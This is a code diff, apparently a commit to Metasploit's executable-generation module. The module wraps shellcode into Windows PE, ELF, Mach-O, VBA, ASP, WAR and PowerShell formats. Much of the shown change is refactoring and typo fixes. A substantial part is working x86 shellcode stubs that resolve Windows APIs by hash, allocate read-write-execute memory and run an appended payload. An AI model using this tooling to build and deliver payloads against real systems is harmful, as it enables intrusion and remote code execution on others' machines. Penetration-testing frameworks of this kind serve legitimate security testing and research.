@@ -137,7 +137,6 @@ def self.to_executable(framework, arch, plat, code='', opts={})
137
137
nil
138
138
end
139
139
140
-
141
140
def self . to_win32pe ( framework , code , opts = { } )
142
141
143
142
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
@@ -366,8 +365,11 @@ def self.to_win32pe(framework, code, opts={})
366
365
367
366
def self . to_winpe_only ( framework , code , opts = { } , arch = "x86" )
368
367
369
- # Allow the user to specify their own EXE template
368
+ if arch == ARCH_X86_64
369
+ arch = ARCH_X64
370
+ end
370
371
372
+ # Allow the user to specify their own EXE template
371
373
set_template_default ( opts , "template_" +arch +"_windows.exe" )
372
374
373
375
pe = Rex ::PeParsey ::Pe . new_from_file ( opts [ :template ] , true )
@@ -400,7 +402,6 @@ def self.to_winpe_only(framework, code, opts={}, arch="x86")
400
402
return exe
401
403
end
402
404
403
-
404
405
def self . to_win32pe_old ( framework , code , opts = { } )
405
406
406
407
payload = code . dup
@@ -469,7 +470,6 @@ def self.to_win32pe_exe_sub(framework, code, opts={})
469
470
return pe
470
471
end
471
472
472
-
473
473
def self . to_win64pe ( framework , code , opts = { } )
474
474
475
475
# Allow the user to specify their own EXE template
@@ -1455,7 +1455,6 @@ def self.to_jsp_war(exe, opts={})
1455
1455
return self . to_war ( jspraw , opts )
1456
1456
end
1457
1457
1458
-
1459
1458
# Creates a .NET DLL which loads data into memory
1460
1459
# at a specified location with read/execute permissions
1461
1460
# - the data will be loaded at: base+0x2065
@@ -1541,11 +1540,10 @@ def self.win32_rwx_exec(code)
1541
1540
api_call:
1542
1541
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
1543
1542
mov ebp, esp ; Create a new stack frame
1544
- xor eax, eax ; Zero EDX
1545
- mov eax, [fs:eax+48] ; Get a pointer to the PEB
1546
- mov eax, [eax+12] ; Get PEB->Ldr
1547
- mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
1548
- mov edx, eax
1543
+ xor edx, edx ; Zero EDX
1544
+ mov edx, [fs:edx+48] ; Get a pointer to the PEB
1545
+ mov edx, [edx+12] ; Get PEB->Ldr
1546
+ mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
1549
1547
next_mod: ;
1550
1548
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
1551
1549
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
@@ -1559,8 +1557,13 @@ def self.win32_rwx_exec(code)
1559
1557
not_lowercase: ;
1560
1558
ror edi, 13 ; Rotate right our hash value
1561
1559
add edi, eax ; Add the next byte of the name
1560
+ ;loop loop_modname ; Loop until we have read enough
1561
+ ; The random jmps added below will occasionally make this offset
1562
+ ; greater than will fit in a byte, so we have to use a regular jnz
1563
+ ; instruction which can take a full 32-bits to accomodate the
1564
+ ; bigger offset
1562
1565
dec ecx
1563
- jnz loop_modname ; Loop untill we have read enough
1566
+ jnz loop_modname ; Loop until we have read enough
1564
1567
; We now have the module hash computed
1565
1568
push edx ; Save the current position in the module list for later
1566
1569
push edi ; Save the current module hash for later
@@ -1578,7 +1581,7 @@ def self.win32_rwx_exec(code)
1578
1581
add ebx, edx ; Add the modules base address
1579
1582
; Computing the module hash + function hash
1580
1583
get_next_func: ;
1581
- test ecx, ecx ; ( Changed from JECXZ to work around METASM)
1584
+ test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
1582
1585
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
1583
1586
dec ecx ; Decrement the function name counter
1584
1587
mov esi, [ebx+ecx*4] ; Get rva of next module name
@@ -1621,7 +1624,7 @@ def self.win32_rwx_exec(code)
1621
1624
pop edi ; Pop off the current (now the previous) modules hash
1622
1625
pop edx ; Restore our position in the module list
1623
1626
mov edx, [edx] ; Get the next module
1624
- jmp next_mod ; Process this module
1627
+ jmp next_mod ; Process this module
1625
1628
^
1626
1629
1627
1630
stub_exit = %Q^
@@ -1654,7 +1657,7 @@ def self.win32_rwx_exec(code)
1654
1657
pop ebp ; Pop off the address of 'api_call' for calling later.
1655
1658
1656
1659
allocate_size:
1657
- mov esi,PAYLOAD_SIZE
1660
+ mov esi, #{ code . length }
1658
1661
1659
1662
allocate:
1660
1663
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@@ -1687,10 +1690,9 @@ def self.win32_rwx_exec(code)
1687
1690
get_payload:
1688
1691
call got_payload
1689
1692
payload:
1690
- ; Append an arbitary payload here
1693
+ ; Append an arbitrary payload here
1691
1694
^
1692
1695
1693
-
1694
1696
stub_alloc . gsub! ( 'short' , '' )
1695
1697
stub_alloc . gsub! ( 'byte' , '' )
1696
1698
@@ -1721,10 +1723,8 @@ def self.win32_rwx_exec(code)
1721
1723
wrapper << stub_final
1722
1724
1723
1725
enc = Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , wrapper ) . encoded
1724
- off = enc . offset_of_reloc ( 'PAYLOAD_SIZE' )
1725
1726
res = enc . data + code
1726
1727
1727
- res [ off , 4 ] = [ code . length ] . pack ( 'V' )
1728
1728
res
1729
1729
end
1730
1730
@@ -1763,12 +1763,11 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1763
1763
not_lowercase: ;
1764
1764
ror edi, 13 ; Rotate right our hash value
1765
1765
add edi, eax ; Add the next byte of the name
1766
- dec ecx
1767
- jnz loop_modname ; Loop untill we have read enough
1766
+ loop loop_modname ; Loop until we have read enough
1768
1767
; We now have the module hash computed
1769
1768
push edx ; Save the current position in the module list for later
1770
1769
push edi ; Save the current module hash for later
1771
- ; Proceed to itterate the export address table,
1770
+ ; Proceed to iterate the export address table,
1772
1771
mov edx, [edx+16] ; Get this modules base address
1773
1772
mov eax, [edx+60] ; Get PE header
1774
1773
add eax, edx ; Add the modules base address
@@ -1824,7 +1823,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1824
1823
pop edi ; Pop off the current (now the previous) modules hash
1825
1824
pop edx ; Restore our position in the module list
1826
1825
mov edx, [edx] ; Get the next module
1827
- jmp next_mod ; Process this module
1826
+ jmp next_mod ; Process this module
1828
1827
^
1829
1828
1830
1829
stub_exit = %Q^
@@ -1858,7 +1857,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1858
1857
pop ebp ; Pop off the address of 'api_call' for calling later.
1859
1858
1860
1859
allocate_size:
1861
- mov esi,PAYLOAD_SIZE
1860
+ mov esi,#{ code . length }
1862
1861
1863
1862
allocate:
1864
1863
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@@ -1904,7 +1903,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1904
1903
get_payload:
1905
1904
call got_payload
1906
1905
payload:
1907
- ; Append an arbitary payload here
1906
+ ; Append an arbitrary payload here
1908
1907
^
1909
1908
1910
1909
@@ -1946,11 +1945,9 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1946
1945
wrapper << stub_final
1947
1946
1948
1947
enc = Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , wrapper ) . encoded
1949
- off = enc . offset_of_reloc ( 'PAYLOAD_SIZE' )
1950
1948
soff = enc . data . index ( "\xe9 \xff \xff \xff \xff " ) + 1
1951
1949
res = enc . data + code
1952
1950
1953
- res [ off , 4 ] = [ code . length ] . pack ( 'V' )
1954
1951
if which_offset == 'start'
1955
1952
res [ soff , 4 ] = [ block_offset - ( soff + 4 ) ] . pack ( 'V' )
1956
1953
elsif which_offset == 'end'
@@ -1963,72 +1960,97 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1963
1960
1964
1961
1965
1962
#
1966
- # This routine is shared between msfencode, rpc, and payload modules (use <payload>)
1963
+ # Generate an executable of a given format suitable for running on the
1964
+ # architecture/platform pair.
1967
1965
#
1968
- # It will return nil if it wasn't able to generate any output.
1966
+ # This routine is shared between msfencode, rpc, and payload modules (use
1967
+ # <payload>)
1969
1968
#
1969
+ # @param framework [Framework]
1970
+ # @param arch [String] Architecture for the target format; one of the ARCH_*
1971
+ # constants
1972
+ # @param plat [#index] platform
1973
+ # @param code [String] The shellcode for the resulting executable to run
1974
+ # @param fmt [String] One of the executable formats as defined in
1975
+ # {.to_executable_fmt_formats}
1976
+ # @param exeopts [Hash] Passed directly to the approrpriate method for
1977
+ # generating an executable for the given +arch+/+plat+ pair.
1978
+ # @return [String] An executable appropriate for the given
1979
+ # architecture/platform pair.
1980
+ # @return [nil] If the format is unrecognized or the arch and plat don't
1981
+ # make sense together.
1970
1982
def self . to_executable_fmt ( framework , arch , plat , code , fmt , exeopts )
1971
-
1972
- output = nil
1983
+ # For backwards compatibility with the way this gets called when
1984
+ # generating from Msf::Simple::Payload.generate_simple
1985
+ if arch . kind_of? Array
1986
+ output = nil
1987
+ arch . each do |a |
1988
+ output = to_executable_fmt ( framework , a , plat , code , fmt , exeopts )
1989
+ break if output
1990
+ end
1991
+ return output
1992
+ end
1973
1993
1974
1994
case fmt
1975
- when 'dll'
1976
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
1977
- output = Msf ::Util ::EXE . to_win32pe_dll ( framework , code , exeopts )
1978
- end
1995
+ when 'asp'
1996
+ output = Msf ::Util ::EXE . to_win32pe_asp ( framework , code , exeopts )
1979
1997
1980
- if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
1981
- output = Msf ::Util ::EXE . to_win64pe_dll ( framework , code , exeopts )
1982
- end
1998
+ when 'aspx'
1999
+ output = Msf ::Util ::EXE . to_win32pe_aspx ( framework , code , exeopts )
1983
2000
2001
+ when 'dll'
2002
+ output = case arch
2003
+ when ARCH_X86 , nil then to_win32pe_dll ( framework , code , exeopts )
2004
+ when ARCH_X86_64 then to_win64pe_dll ( framework , code , exeopts )
2005
+ when ARCH_X64 then to_win64pe_dll ( framework , code , exeopts )
2006
+ end
1984
2007
when 'exe'
1985
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
1986
- output = Msf ::Util ::EXE . to_win32pe ( framework , code , exeopts )
1987
- end
1988
-
1989
- if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
1990
- output = Msf ::Util ::EXE . to_win64pe ( framework , code , exeopts )
1991
- end
2008
+ output = case arch
2009
+ when ARCH_X86 , nil then to_win32pe ( framework , code , exeopts )
2010
+ when ARCH_X86_64 then to_win64pe ( framework , code , exeopts )
2011
+ when ARCH_X64 then to_win64pe ( framework , code , exeopts )
2012
+ end
1992
2013
1993
2014
when 'exe-small'
1994
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
1995
- output = Msf :: Util :: EXE . to_win32pe_old ( framework , code , exeopts )
1996
- end
2015
+ output = case arch
2016
+ when ARCH_X86 , nil then to_win32pe_old ( framework , code , exeopts )
2017
+ end
1997
2018
1998
2019
when 'exe-only'
1999
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
2000
- output = Msf ::Util ::EXE . to_winpe_only ( framework , code , exeopts )
2001
- end
2002
-
2003
- if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
2004
- output = Msf ::Util ::EXE . to_winpe_only ( framework , code , exeopts , "x64" )
2005
- end
2020
+ output = case arch
2021
+ when ARCH_X86 , nil then to_winpe_only ( framework , code , exeopts , arch )
2022
+ when ARCH_X86_64 then to_winpe_only ( framework , code , exeopts , arch )
2023
+ when ARCH_X64 then to_winpe_only ( framework , code , exeopts , arch )
2024
+ end
2006
2025
2007
2026
when 'elf'
2008
2027
if ( not plat or ( plat . index ( Msf ::Module ::Platform ::Linux ) ) )
2009
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
2010
- output = Msf ::Util ::EXE . to_linux_x86_elf ( framework , code , exeopts )
2011
- elsif ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
2012
- output = Msf ::Util ::EXE . to_linux_x64_elf ( framework , code , exeopts )
2013
- end
2028
+ output = case arch
2029
+ when ARCH_X86 , nil then to_linux_x86_elf ( framework , code , exeopts )
2030
+ when ARCH_X86_64 then to_linux_x64_elf ( framework , code , exeopts )
2031
+ when ARCH_X64 then to_linux_x64_elf ( framework , code , exeopts )
2032
+ when ARCH_ARMLE then to_linux_armle_elf ( framework , code , exeopts )
2033
+ when ARCH_MIPSBE then to_linux_mipsbe_elf ( framework , code , exeopts )
2034
+ when ARCH_MIPSLE then to_linux_mipsle_elf ( framework , code , exeopts )
2035
+ end
2014
2036
elsif ( plat and ( plat . index ( Msf ::Module ::Platform ::BSD ) ) )
2015
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
2016
- output = Msf ::Util ::EXE . to_bsd_x86_elf ( framework , code , exeopts )
2017
- end
2037
+ output = case arch
2038
+ when ARCH_X86 , nil then Msf ::Util ::EXE . to_bsd_x86_elf ( framework , code , exeopts )
2039
+ end
2018
2040
elsif ( plat and ( plat . index ( Msf ::Module ::Platform ::Solaris ) ) )
2019
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
2020
- output = Msf :: Util :: EXE . to_solaris_x86_elf ( framework , code , exeopts )
2021
- end
2041
+ output = case arch
2042
+ when ARCH_X86 , nil then to_solaris_x86_elf ( framework , code , exeopts )
2043
+ end
2022
2044
end
2023
2045
2024
2046
when 'macho'
2025
- if ( not arch or ( arch . index ( ARCH_X86 ) ) )
2026
- output = Msf :: Util :: EXE . to_osx_x86_macho ( framework , code , exeopts )
2027
- end
2028
-
2029
- if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
2030
- output = Msf :: Util :: EXE . to_osx_x64_macho ( framework , code , exeopts )
2031
- end
2047
+ output = case arch
2048
+ when ARCH_X86 , nil then to_osx_x86_macho ( framework , code , exeopts )
2049
+ when ARCH_X86_64 then to_osx_x64_macho ( framework , code , exeopts )
2050
+ when ARCH_X64 then to_osx_x64_macho ( framework , code , exeopts )
2051
+ when ARCH_ARMLE then to_osx_arm_macho ( framework , code , exeopts )
2052
+ when ARCH_PPC then to_osx_ppc_macho ( framework , code , exeopts )
2053
+ end
2032
2054
2033
2055
when 'vba'
2034
2056
output = Msf ::Util ::EXE . to_vba ( framework , code , exeopts )
@@ -2043,12 +2065,6 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2043
2065
when 'loop-vbs'
2044
2066
output = Msf ::Util ::EXE . to_win32pe_vbs ( framework , code , exeopts . merge ( { :persist => true } ) )
2045
2067
2046
- when 'asp'
2047
- output = Msf ::Util ::EXE . to_win32pe_asp ( framework , code , exeopts )
2048
-
2049
- when 'aspx'
2050
- output = Msf ::Util ::EXE . to_win32pe_aspx ( framework , code , exeopts )
2051
-
2052
2068
when 'war'
2053
2069
arch ||= [ ARCH_X86 ]
2054
2070
tmp_plat = plat . platforms if plat
@@ -2068,7 +2084,10 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2068
2084
end
2069
2085
2070
2086
def self . to_executable_fmt_formats
2071
- [ 'dll' , 'exe' , 'exe-small' , 'exe-only' , 'elf' , 'macho' , 'vba' , 'vba-exe' , 'vbs' , 'loop-vbs' , 'asp' , 'aspx' , 'war' , 'psh' , 'psh-net' ]
2087
+ [
2088
+ 'dll' , 'exe' , 'exe-small' , 'exe-only' , 'elf' , 'macho' , 'vba' , 'vba-exe' ,
2089
+ 'vbs' , 'loop-vbs' , 'asp' , 'aspx' , 'war' , 'psh' , 'psh-net'
2090
+ ]
2072
2091
end
2073
2092
2074
2093
#
0 commit comments